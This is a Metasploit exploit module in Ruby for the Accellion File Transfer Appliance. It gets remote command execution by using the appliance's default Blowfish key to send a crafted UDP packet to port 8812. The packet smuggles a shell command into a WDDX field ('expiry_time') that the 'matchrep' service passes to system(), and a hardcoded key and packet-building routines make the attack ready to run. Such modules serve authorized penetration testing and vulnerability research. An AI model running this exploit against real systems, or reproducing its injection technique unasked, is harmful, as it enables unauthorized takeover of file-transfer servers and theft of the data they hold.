##
# $Id: accellion_fta_mpipe2.rb 11935 2011-03-11 17:37:23Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'

require 'openssl'
require 'rexml/element'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Accellion File Transfer Appliance MPIPE2 Command Execution',
      'Description'    => %q{
          This module exploits a chain of vulnerabilities in the Accellion 
        File Transfer appliance. This appliance exposes a UDP service on 
        port 8812 that acts as a gateway to the internal communication bus. 
        This service uses Blowfish encryption for authentication, but the 
        appliance ships with two easy to guess default authentication keys. 
        This module abuses the known default encryption keys to inject a 
        message into the communication bus. In order to execute arbitrary 
        commands on the remote appliance, a message is injected into the bus 
        destined for the 'matchrep' service. This service exposes a function 
        named 'insert_plugin_meta_info' which is vulnerable to an input 
        validation flaw in a call to system(). This provides access to the 
        'soggycat' user account, which has sudo privileges to run the 
        primary admin tool as root. These two flaws are fixed in update
        version FTA_8_0_562.  
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision: 11935 $',
      'References'     =>
        [
          ['URL', 'http://www.rapid7.com/security-center/advisories/R7-0039.jsp'],
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'       => 1024,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl ruby bash telnet',
            }
        },
      'Targets'        =>
        [
          [ 'Automatic', { } ]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Feb 7 2011'
    ))

    register_options(
      [
        Opt::RPORT(8812),
        OptString.new('APPID', [true, 'The application ID (usually 1000)', '1000'])
      ], self.class)
  end

  def exploit
    connect_udp
    
    appid = datastore['APPID']
    encoded_command = REXML::Text.new(payload.encoded).to_s
    
    wddx = %Q|
<wddxPacket version='1.0'>
<header/>
<data>
  <struct>
    <var name='50001'><string>insert_plugin_meta_info</string></var>
    <var name='file_handle'><binary length='9'>MDAwMDAwMDAw</binary></var>
    <var name='aid'><string>#{appid}</string></var>
    <var name='client_ip'><string>127.0.0.1</string></var>
    <var name='package_id'><string>1</string></var>
    <var name='recipient_list'><array length='1'><string>#{Rex::Text.rand_text_alphanumeric(8)}</string></array></var>
    <var name='expiry_time'><string>'; #{encoded_command}; #'</string></var>
  </struct>
</data>
</wddxPacket>|

    packet = [
      rand(0xffffffff),  # Source Location ID
      8888,        # Destination Location ID
      rand(0xffff),    # Source Application
      50001,        # Destination Application (matchrep)
      Time.now.to_i
    ].pack("NNnnN") + wddx
        
    header = [
      0,    # Flags
      0,    #
      1,    # Sequence Number (must be the lowest seen from Source ID)
      33    # Execute (pass message to destination)
    ].pack("CCNC") + packet
    
    data = [ simple_checksum(header) ].pack("n") + header
    enc  = blowfish_encrypt("123456789ABCDEF0123456789ABCDEF0", data)
    
    udp_sock.put("\x01" + enc)
    
    handler
    disconnect_udp
  end
  
  def simple_checksum(data)  
    sum = 0
    data.unpack("C*").map{ |c| sum = (sum + c) & 0xffff }
    sum
  end
  
  #
  # This implements blowfish-cbc with an MD5-expanded 448-bit key 
  # using RandomIV for the initial value.
  #
  def blowfish_encrypt(pass, data)

    # Forces 8-bit encoding
    pass = pass.unpack("C*").pack("C*")
    data = data.unpack("C*").pack("C*")
    
    # Use 448-bit keys with 8-byte IV
    key_len = 56
    iv_len  = 8
    
    # Expand the key with MD5 (key-generated-key mode)
    hash = OpenSSL::Digest::MD5.digest(pass)
    while (hash.length < key_len)
      hash << OpenSSL::Digest::MD5.digest(hash)
    end
  
    key = hash[0, key_len]
    iv  = Rex::Text.rand_text(iv_len)

    c = OpenSSL::Cipher::Cipher.new('bf-cbc')
    c.encrypt
    c.key_len = key_len
    c.key     = key
    c.iv      = iv
    
    "RandomIV" + iv + c.update(data) + c.final
  end

end